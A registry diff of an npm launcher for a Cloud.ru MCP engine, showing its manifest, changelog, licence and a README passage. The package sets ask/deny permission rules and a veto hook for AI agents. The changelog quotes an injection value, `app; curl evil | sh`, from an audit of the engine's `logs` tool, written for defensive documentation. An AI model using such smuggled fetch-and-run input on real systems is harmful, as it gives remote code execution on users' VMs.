@dzhechkov/cloudru-hub 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dz-manifest.json +105 -0
- package/CHANGELOG.md +130 -0
- package/LICENSE +67 -0
- package/README.md +131 -0
- package/THIRD_PARTY_NOTICES.md +56 -0
- package/bin/cloudru-hub.js +8 -0
- package/data/dialects.json +73 -0
- package/data/pointer-section.md +22 -0
- package/data/tools-classification.json +732 -0
- package/data/tools-list-snapshot.json +585 -0
- package/docs/LOCAL-TESTING.md +77 -0
- package/package.json +67 -0
- package/sbom.json +253 -0
- package/src/classification.js +66 -0
- package/src/cli.js +174 -0
- package/src/dialects.js +172 -0
- package/src/install.js +252 -0
- package/src/resolve.js +101 -0
- package/templates/.claude/hooks/cloudru-ssh-guard.cjs +80 -0
- package/test/classification.test.mjs +151 -0
- package/test/dialects.test.mjs +314 -0
- package/test/hook.test.mjs +67 -0
- package/test/install.test.mjs +145 -0
- package/test/mutation-registry.json +135 -0
- package/test/pack-holds.test.mjs +96 -0
- package/test/resolve.test.mjs +81 -0
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
{
|
|
2
|
+
"manifest": {
|
|
3
|
+
"version": 1,
|
|
4
|
+
"pack": "cloudru-hub",
|
|
5
|
+
"files": [
|
|
6
|
+
{
|
|
7
|
+
"path": "CHANGELOG.md",
|
|
8
|
+
"sha256": "106646f93a18c0335ff739c61df9432b9a79b743b53941f15e9bcc64b35504a4"
|
|
9
|
+
},
|
|
10
|
+
{
|
|
11
|
+
"path": "LICENSE",
|
|
12
|
+
"sha256": "68da42b10dcc095cdfd7249557cee30285664e5dea00dc85475ff047d975616a"
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"path": "README.md",
|
|
16
|
+
"sha256": "38e29682c26399d930823f68ff35febfc2e0045e3912e1665ed071c9b73c084c"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"path": "THIRD_PARTY_NOTICES.md",
|
|
20
|
+
"sha256": "109cffdaaf9402e88f6cc35a0497ba49db015b329fce87ba20762f34dc95c051"
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"path": "bin/cloudru-hub.js",
|
|
24
|
+
"sha256": "fcdb6806036feff444611483f4216477c83bc53d28ebca4736370c671f7f72db"
|
|
25
|
+
},
|
|
26
|
+
{
|
|
27
|
+
"path": "data/dialects.json",
|
|
28
|
+
"sha256": "8007dd5da843074d497617bdf3709cc3dc516a138171781b5ef0aa3ff596fa4d"
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
"path": "data/pointer-section.md",
|
|
32
|
+
"sha256": "6f4557d97b90936ef153dc90eac4bdceb6846b6d08d8aec45c86baac328cca60"
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
"path": "data/tools-classification.json",
|
|
36
|
+
"sha256": "13d6a3e87d767d0015f6b2af0223633fa99e49c69c9a8adcec8f6fce6e46d36e"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"path": "data/tools-list-snapshot.json",
|
|
40
|
+
"sha256": "56221fa8170f2b32ab6d3a907261badc07695f47ae9ac4adca4e43d2ea5ee06f"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"path": "docs/LOCAL-TESTING.md",
|
|
44
|
+
"sha256": "092142c00295c54866330f2159a13284d04e2f35a749b32dff0ca4f2ab28ea54"
|
|
45
|
+
},
|
|
46
|
+
{
|
|
47
|
+
"path": "package.json",
|
|
48
|
+
"sha256": "24333e792a9cbdbc5d23f10d47969f3d3e984a2acc000c903b4003ffcf42d02f"
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
"path": "src/classification.js",
|
|
52
|
+
"sha256": "8c1096273d2a2c9c6336c476096cb1e064184c6876d5466470fb69705ba3f265"
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
"path": "src/cli.js",
|
|
56
|
+
"sha256": "db981ad0078c80ba7a859057638a2576d7f02d87ca2891f8083a92a8147742dd"
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
"path": "src/dialects.js",
|
|
60
|
+
"sha256": "a826cea19ff38e24ad7fd36c6ec85a51e2cd1d985d1fa92941f77bcf353db1de"
|
|
61
|
+
},
|
|
62
|
+
{
|
|
63
|
+
"path": "src/install.js",
|
|
64
|
+
"sha256": "5d087b289aaf8cd2e1b4cffbd2227eb3bdc7264cddc0877561e08bc0ea6d6fd2"
|
|
65
|
+
},
|
|
66
|
+
{
|
|
67
|
+
"path": "src/resolve.js",
|
|
68
|
+
"sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
"path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
|
|
72
|
+
"sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"path": "test/classification.test.mjs",
|
|
76
|
+
"sha256": "25290e9a8715d13670d617e23cb47c4c2d71b1506a8d98e5b682733b626a18b8"
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"path": "test/dialects.test.mjs",
|
|
80
|
+
"sha256": "9b83b2e2cbbee4ead33af61db840833ce4aa2dd0cf5a4448d72d5886098639c6"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"path": "test/hook.test.mjs",
|
|
84
|
+
"sha256": "d53b58e853b6a37342a3a0fade782bced6283ea2ec376e2ac954b23f9ec68c17"
|
|
85
|
+
},
|
|
86
|
+
{
|
|
87
|
+
"path": "test/install.test.mjs",
|
|
88
|
+
"sha256": "e986b29346672bf75b384ab6d8657265b8ecb8f62df6563dca317c1fc63fc8fc"
|
|
89
|
+
},
|
|
90
|
+
{
|
|
91
|
+
"path": "test/mutation-registry.json",
|
|
92
|
+
"sha256": "23baf0c1c20afc5bbbfcd72ae9c553ce8a774c25328609e33f43e11cf4ca5581"
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"path": "test/pack-holds.test.mjs",
|
|
96
|
+
"sha256": "a083ff619f1d97b3e0e1b95dec6e98b56c4296da5171e2eb41c713dd983c8d69"
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
"path": "test/resolve.test.mjs",
|
|
100
|
+
"sha256": "6b524f69c5ed03aaafab67e734e58092033423b86feade28ad03f516feba2380"
|
|
101
|
+
}
|
|
102
|
+
]
|
|
103
|
+
},
|
|
104
|
+
"signature": "jfciH34h4f/SUaAlkeRh4BOQVIFbmJDJv7cewtiBSApv1V/xTPTyUvoEsN0eYyz5w9Y9KrwFjh5dKLp4AQnqDA=="
|
|
105
|
+
}
|
package/CHANGELOG.md
ADDED
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
# Changelog — @dzhechkov/cloudru-hub
|
|
2
|
+
|
|
3
|
+
## 0.1.4 — 2026-08-12 (FIRST PUBLICATION — ADR-001 hold satisfied, AM-2)
|
|
4
|
+
|
|
5
|
+
- **The licence hold is SATISFIED and the pack is published.** Тимур — the author of the
|
|
6
|
+
Hermes engine additions (built on the owner's original Go CLI foundation, ADR-001
|
|
7
|
+
AM-1) — approved publication; owner-reported 2026-08-12, recorded in
|
|
8
|
+
`features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md` (linked from the
|
|
9
|
+
LICENSE `Grant-Confirmation:` line). Honesty: the approval is owner-attested; archiving
|
|
10
|
+
the author's written confirmation is a recorded owner follow-up. No licence is
|
|
11
|
+
fabricated on the author's behalf: the pack still ships ZERO engine-addition bytes,
|
|
12
|
+
`license: MIT` covers only the owner's code, and LICENSE Part 2 explicitly grants no
|
|
13
|
+
third-party rights to the engine additions.
|
|
14
|
+
- Hold mechanics flipped legitimately, not cosmetically: `private:true` and the PENDING
|
|
15
|
+
placeholder removed; the `licenseHold` trigger field deliberately KEPT (per the
|
|
16
|
+
`dz guard` `licence-hold` rule design a satisfied hold passes with the trigger in
|
|
17
|
+
place, so the rule keeps verifying LICENSE/NOTICES/SPDX on every future publish).
|
|
18
|
+
- Hold-era pack tests replaced by post-grant invariants: honest grant wording
|
|
19
|
+
(owner-attested, no fabricated grant deed), Grant-Confirmation URL present, author
|
|
20
|
+
attribution by name, licenseHold-stays-declared, SPDX-matches-LICENSE (the ADR-001
|
|
21
|
+
Confirmation test), publishable-state. Mutation registry entries updated in kind
|
|
22
|
+
(`licence-publishable-state-asserted`, `licence-spdx-matches-license-file`;
|
|
23
|
+
the LICENSE file itself is not gate-mutable — extensionless, no parser — so the
|
|
24
|
+
Grant-Confirmation content is covered by the pack tests + the guard rule directly).
|
|
25
|
+
Suite 71 → 70 tests (the npm-layer EPRIVATE probe retired with `private:true`);
|
|
26
|
+
mutation gate 13/13 PROVEN (MEASURED — 2026-08-12).
|
|
27
|
+
- NOT in this release: the binary-carrying platform package
|
|
28
|
+
`@dzhechkov/cloudru-vm-linux-x64` (ADR-002 trusted-CI build + go-licenses
|
|
29
|
+
reconciliation still required before its first publication).
|
|
30
|
+
|
|
31
|
+
## 0.1.3 — 2026-08-10 (still HELD unpublished — ADR-001; Variant A binary-name leak scrubs)
|
|
32
|
+
|
|
33
|
+
- **LOW, dialect compiler — the engine binary name `cloudru-vm` handled by targeted leak-form
|
|
34
|
+
SCRUBS, deliberately NOT by the codename net.** The bare token is ALSO the legitimate MCP
|
|
35
|
+
server name that MUST appear in output — PROVEN before coding: `\bcloudru-vm\b` matches the
|
|
36
|
+
compiler's OWN injected tool_search prose `сервера cloudru-vm видны` (over-block), and
|
|
37
|
+
`mcp__cloudru-vm__` is spared only because `_` is a word char. So `forbiddenCodenames` is
|
|
38
|
+
unchanged; instead both targets (claude-code, codex) gain two ordered replacements placed
|
|
39
|
+
AFTER the longer `cloudru-vm-cli` scrub: (1) dotted config path `\.cloudru-vm(?![\w-])` →
|
|
40
|
+
`.cloudru-hub` (lookahead spares `.cloudru-vm-cli`); (2) CLI invocation
|
|
41
|
+
`\bcloudru-vm[ \t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\b)`
|
|
42
|
+
→ `cloudru-hub ` — the verb alternation is the engine's REAL cobra command set, cited from
|
|
43
|
+
the baseline `engine/cmd/cloudru-vm/main.go` AddCommand block (lines 53-65); `[ \t]+` (not
|
|
44
|
+
`\s+`) so a line break is never joined, whole-word verbs so `cloudru-vm deployment` and
|
|
45
|
+
Russian prose stay untouched. RED-before/GREEN-after pinned in tests (0.1.2 shipped
|
|
46
|
+
`~/.cloudru-vm/config` and `cloudru-vm deploy` INTACT with ok=true — MEASURED); over-block
|
|
47
|
+
guard test proves the MCP server prose + `mcp__cloudru-vm__stack_status` compile CLEAN and
|
|
48
|
+
unrewritten; a verb-set test pins the alternation to the engine command set. Two mutation
|
|
49
|
+
entries (`dialect-binary-path-leak-scrubbed`, `dialect-binary-invocation-leak-scrubbed`)
|
|
50
|
+
keep each scrub RED when disarmed. Suite 66 → 71 tests; mutation gate 11 → 13 PROVEN.
|
|
51
|
+
|
|
52
|
+
## 0.1.2 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 re-QE residuals)
|
|
53
|
+
|
|
54
|
+
- **HIGH, ADR-004 AM-2 — `logs` reclassified allow→ask; the classification method gains a
|
|
55
|
+
SECOND hazard axis (reaching a remote shell with a user-controlled argument).** The AM-1
|
|
56
|
+
re-audit checked only "advances a job / spends money / returns a secret"; it did NOT
|
|
57
|
+
check whether a tool passes a user arg into a remote shell. `logs` (classified `allow`)
|
|
58
|
+
does — VERIFIED against the pinned baseline: `handleLogs` (`tools.go:1758`) passes the
|
|
59
|
+
user `service` arg to `engine.Logs`, which concatenates it RAW into
|
|
60
|
+
`cmd += " " + opts.Service` (`engine/logs.go:61`) → `Deployer.Exec` (`logs.go:64`) → SSH
|
|
61
|
+
`session.CombinedOutput` (`internal/deploy/ssh.go:117`). So `service="app; curl evil | sh"`
|
|
62
|
+
is arbitrary RCE on the user's VM behind a silent `allow`. Re-audited ALL 78 allow tools
|
|
63
|
+
against the new axis: `logs` is the ONLY shell-reaching allow tool (every other shell
|
|
64
|
+
site — `vm_exec`, `deploy`, `deploy_apply`/captainkeys, `k8s_kubectl`/`k8s_apply`/`k8s_helm`
|
|
65
|
+
— is already `ask`). New golden split: 65 ask / 2 deny / 77 allow. Invariant pinned
|
|
66
|
+
layer-1: `logs===ask` test, method-doc-documents-shell-reach test, no-allow-admits-shell-reach
|
|
67
|
+
test, mutation-registry entry `brake-logs-stays-ask`. Engine injection flagged to the
|
|
68
|
+
author (ADR-004 AM-2; licence-blocked, not fixed here).
|
|
69
|
+
- **LOW, dialect compiler — codename allowlist expanded to the full engine identity.**
|
|
70
|
+
`forbiddenCodenames` covered only `hermes`; the tokens `dzhechko` (go-module owner),
|
|
71
|
+
`cloudru-vm-cli` (CLI name), and `captainkeys` (`captainkeys.go`) compiled CLEAN
|
|
72
|
+
(VERIFIED). Now all four are gated, case-insensitive, with WORD-BOUNDARY matching (not
|
|
73
|
+
substring): necessary because a raw `dzhechko` substring over-blocks the legitimately
|
|
74
|
+
published scope `@dzhechkov` (= `dzhechko`+`v`), and word boundaries also drop harmless
|
|
75
|
+
`thermes`-class false positives without weakening the net against any observed real leak
|
|
76
|
+
shape (`~/.hermes/`, `hermes-agent`, prose "Hermes", Cyrillic-suffixed `hermesовский`).
|
|
77
|
+
Each identity token gets a scrub replacement (go-module path → published package name);
|
|
78
|
+
the real corpus still compiles with 0 survivors on both targets (MEASURED). Mutation
|
|
79
|
+
entry `dialect-codename-gate-armed` updated for the expanded list, stays RED when emptied.
|
|
80
|
+
- Tests 58 → 66 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 10/10 → 11/11
|
|
81
|
+
PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
|
|
82
|
+
|
|
83
|
+
## 0.1.1 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 cross-model QE findings)
|
|
84
|
+
|
|
85
|
+
- **HIGH (false-safe), ADR-004 AM-1 — `stack_status` reclassified allow→ask, and the
|
|
86
|
+
classification METHOD corrected.** `handleStackStatus` (`tools_stack.go:451`) advances
|
|
87
|
+
planned/running jobs (`:479-484` → `advance` → `s.callTool` `:220`), invoking the paid
|
|
88
|
+
create tools with no confirmation — LIVE-REPRODUCED against the pinned baseline: one
|
|
89
|
+
`stack_status` call moved a planned job `planned→running` and attempted `provision`
|
|
90
|
+
twice (stopped only at AUTH_REQUIRED), so the fully-allow chain
|
|
91
|
+
`stack_plan→stack_status` defeated the brake with zero prompts. All 79 former allow
|
|
92
|
+
tools re-audited against actual engine handler BEHAVIOUR (not schema shape); 78
|
|
93
|
+
confirmed genuinely read-only (each entry's `why` now cites the handler file:line),
|
|
94
|
+
`stack_plan`/`deploy_plan` verified to create nothing (LOCAL plan file only). New
|
|
95
|
+
golden split: 64 ask / 2 deny / 78 allow. Invariant pinned layer-1: `stack_status===ask`
|
|
96
|
+
test, allow-requires-behaviour-audit test, mutation-registry entry
|
|
97
|
+
`brake-stack-status-stays-ask`.
|
|
98
|
+
- **MEDIUM, dialect compiler — positive codename invariant.** The 8-token denylist let
|
|
99
|
+
the bare codename and the `~/.hermes/` path through (real-corpus compile returned
|
|
100
|
+
`ok=true` with 5 case-insensitive survivors — MEASURED). `compileSkill` now hard-fails
|
|
101
|
+
on ANY case-insensitive codename occurrence in ANY emitted file
|
|
102
|
+
(`data/dialects.json.forbiddenCodenames`), with scrub replacements for the observed
|
|
103
|
+
leak shapes (`~/.hermes/` path, `hermes-agent` example name, 2 prose mentions); the
|
|
104
|
+
real corpus now compiles with 0 survivors on both targets (MEASURED). Mutation-registry
|
|
105
|
+
entry `dialect-codename-gate-armed`.
|
|
106
|
+
- Tests 52 → 58 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 8/8 → 10/10
|
|
107
|
+
PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
|
|
108
|
+
|
|
109
|
+
## 0.1.0 — 2026-08-10 (prepared, HELD unpublished — ADR-001)
|
|
110
|
+
|
|
111
|
+
Initial build of the npm launcher for the `cloudru-vm` MCP engine, per
|
|
112
|
+
`features/hermes-claude-adaptation/` ADR-001/002/004/005/006/010.
|
|
113
|
+
|
|
114
|
+
- Launcher with runtime engine resolution (env → config → optional platform package),
|
|
115
|
+
sha256 pin verification against the 0.2.3-20260718 baseline; `resolve`, `self-test`,
|
|
116
|
+
`mcp`, `install`, `compile-skill` commands.
|
|
117
|
+
- ADR-004 brake: golden classification of all 144 engine tools (63 ask / 2 deny /
|
|
118
|
+
79 allow — MEASURED, `data/tools-classification.json`), permission-rule emission in
|
|
119
|
+
both mcp__ prefix spellings, PreToolUse ssh-guard + kubectl-rollout veto with an
|
|
120
|
+
EXECUTED install-time probe.
|
|
121
|
+
- ADR-005 tiering: claude-code full / codex plan-only / degraded refused /
|
|
122
|
+
agents-md+gemini pointer-only (≤2048 chars, mandatory no-veto warning).
|
|
123
|
+
- ADR-006 dialect compiler: config-driven target variants, forbidden-token hard gate,
|
|
124
|
+
dangling-link unlinking, 12 000-char lossy router cap, byte-deterministic.
|
|
125
|
+
- Publish hold armed three ways: `private:true` (npm layer), the `dz guard`
|
|
126
|
+
`licence-hold` HARD rule (harness-core), and mutation-gate entries 8/8 PROVEN
|
|
127
|
+
(MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`, 2026-08-10).
|
|
128
|
+
- 52 tests (MEASURED — `node --test 'test/*.test.mjs'`, 52/52 pass, 2026-08-10).
|
|
129
|
+
- NOT published: LICENSE Part 2 carries the pending-grant placeholder; see README
|
|
130
|
+
"Post-grant publish checklist".
|
package/LICENSE
ADDED
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
# LICENSE — @dzhechkov/cloudru-hub
|
|
2
|
+
|
|
3
|
+
This file has two parts because the shipped work has two provenances. Part 1 covers every
|
|
4
|
+
byte actually contained in this npm package. Part 2 records the licensing status of the
|
|
5
|
+
Hermes engine additions, which this package deliberately does NOT contain.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
|
|
10
|
+
## and the original Go CLI foundation
|
|
11
|
+
|
|
12
|
+
MIT License
|
|
13
|
+
|
|
14
|
+
Copyright (c) 2026 Dmitry Zhechkov
|
|
15
|
+
|
|
16
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
17
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
18
|
+
in the Software without restriction, including without limitation the rights
|
|
19
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
20
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
21
|
+
furnished to do so, subject to the following conditions:
|
|
22
|
+
|
|
23
|
+
The above copyright notice and this permission notice shall be included in all
|
|
24
|
+
copies or substantial portions of the Software.
|
|
25
|
+
|
|
26
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
27
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
28
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
29
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
30
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
31
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
32
|
+
SOFTWARE.
|
|
33
|
+
|
|
34
|
+
Authorship note (ADR-001 amendment AM-1, recorded 2026-08-09): the original Go CLI
|
|
35
|
+
foundation on which the Hermes engine builds (cli.go / internal/cli) was authored by
|
|
36
|
+
Dmitry Zhechkov, the owner of this repository. The Hermes engine is a DERIVATIVE work
|
|
37
|
+
built on that foundation. This note states the owner's own authorship as fact; it does
|
|
38
|
+
NOT assert, imply, or substitute for any grant by the Hermes engine author.
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
|
|
43
|
+
|
|
44
|
+
This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
|
|
45
|
+
engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
|
|
46
|
+
(environment variable / config path / a future platform package) and is never bundled
|
|
47
|
+
here. See ADR-002 (distribution form) and the package README.
|
|
48
|
+
|
|
49
|
+
Redistribution status of the engine additions (the Hermes author's contribution on top
|
|
50
|
+
of the owner's CLI foundation):
|
|
51
|
+
|
|
52
|
+
GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
|
|
53
|
+
engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
|
|
54
|
+
foundation), approved publication of this package, as reported by the repository owner
|
|
55
|
+
(Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
|
|
56
|
+
written confirmation is a recorded owner follow-up (see the grant record linked below).
|
|
57
|
+
Per the owner's standing attribution condition, publication carries authorship credit:
|
|
58
|
+
the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
|
|
59
|
+
every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
|
|
60
|
+
|
|
61
|
+
The author did not designate a licence text for the engine additions themselves.
|
|
62
|
+
Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
|
|
63
|
+
licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
|
|
64
|
+
third party rights to the engine additions — their use remains governed by their
|
|
65
|
+
author's own terms.
|
|
66
|
+
|
|
67
|
+
Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md
|
package/README.md
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
# @dzhechkov/cloudru-hub
|
|
2
|
+
|
|
3
|
+
> **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
|
|
4
|
+
> Тимур, the author of the Hermes engine additions, approved publication (owner-reported
|
|
5
|
+
> 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
|
|
6
|
+
> Part 2; archiving the author's written confirmation is a recorded owner follow-up).
|
|
7
|
+
> The `dz guard` `licence-hold` rule stays armed and keeps verifying
|
|
8
|
+
> LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
|
|
9
|
+
> trigger in place.
|
|
10
|
+
|
|
11
|
+
> **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
|
|
12
|
+
> trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
|
|
13
|
+
> through the `cloudru-vm` engine.
|
|
14
|
+
|
|
15
|
+
Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **144 tools**
|
|
16
|
+
(MEASURED — live `tools/list` probe, `data/tools-list-snapshot.json`) for Cloud.ru
|
|
17
|
+
Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
|
|
18
|
+
docker-compose deploy wizard.
|
|
19
|
+
|
|
20
|
+
## Attribution
|
|
21
|
+
|
|
22
|
+
- **CLI foundation and everything in this package** (launcher, adapters, installer,
|
|
23
|
+
tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go
|
|
24
|
+
CLI on which the engine builds is the owner's work; the Hermes engine is a derivative
|
|
25
|
+
of it.
|
|
26
|
+
- **Hermes engine additions** (the ~144-tool MCP layer): **Тимур**, the Hermes author.
|
|
27
|
+
**Zero bytes of those additions ship in this package** — no binary, no Go sources, no
|
|
28
|
+
skill corpus. Publication of this package was approved by the author (grant recorded
|
|
29
|
+
2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
|
|
30
|
+
licence text for the engine additions themselves; nothing here grants third parties
|
|
31
|
+
rights to them.
|
|
32
|
+
|
|
33
|
+
## What ships here (our code only — ADR-002)
|
|
34
|
+
|
|
35
|
+
| Piece | Where | What it does |
|
|
36
|
+
|---|---|---|
|
|
37
|
+
| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
|
|
38
|
+
| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
|
|
39
|
+
| Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |
|
|
40
|
+
| Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
|
|
41
|
+
| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |
|
|
42
|
+
|
|
43
|
+
## Usage
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
cloudru-hub resolve # where is the engine, which sha256, is it the pinned baseline
|
|
47
|
+
cloudru-hub self-test # resolve → sha256 → engine version → live tools/list → coverage
|
|
48
|
+
cloudru-hub mcp # run the engine as an MCP stdio server (what .mcp.json points at)
|
|
49
|
+
cloudru-hub install --target claude-code # emit .mcp.json + permission brake + veto hook, PROBE the veto
|
|
50
|
+
cloudru-hub install --target agents-md # pointer-only section (no tools, no fake support)
|
|
51
|
+
cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Local testing (works now, no publish)
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
export CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm # e.g. the pinned 0.2.3-20260718 baseline
|
|
58
|
+
node bin/cloudru-hub.js self-test
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
|
|
62
|
+
the pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full
|
|
63
|
+
classification coverage). Full walkthrough incl. `npm link` and MCP registration:
|
|
64
|
+
[`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
|
|
65
|
+
|
|
66
|
+
## Safety properties (all layer-1, discrimination-proven)
|
|
67
|
+
|
|
68
|
+
Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
|
|
69
|
+
`dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
|
|
70
|
+
and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):
|
|
71
|
+
|
|
72
|
+
1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
|
|
73
|
+
deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
|
|
74
|
+
verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),
|
|
75
|
+
THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin
|
|
76
|
+
the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-
|
|
77
|
+
LICENSE invariant (ADR-001 Confirmation) and the publishable state.
|
|
78
|
+
2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
|
|
79
|
+
`npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
|
|
80
|
+
3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
|
|
81
|
+
keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
|
|
82
|
+
report success unless the executed probe blocks.
|
|
83
|
+
4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs
|
|
84
|
+
server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →
|
|
85
|
+
`s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and
|
|
86
|
+
attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain
|
|
87
|
+
`stack_plan→stack_status` and goes RED.
|
|
88
|
+
5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`
|
|
89
|
+
arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
|
|
90
|
+
`engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
|
|
91
|
+
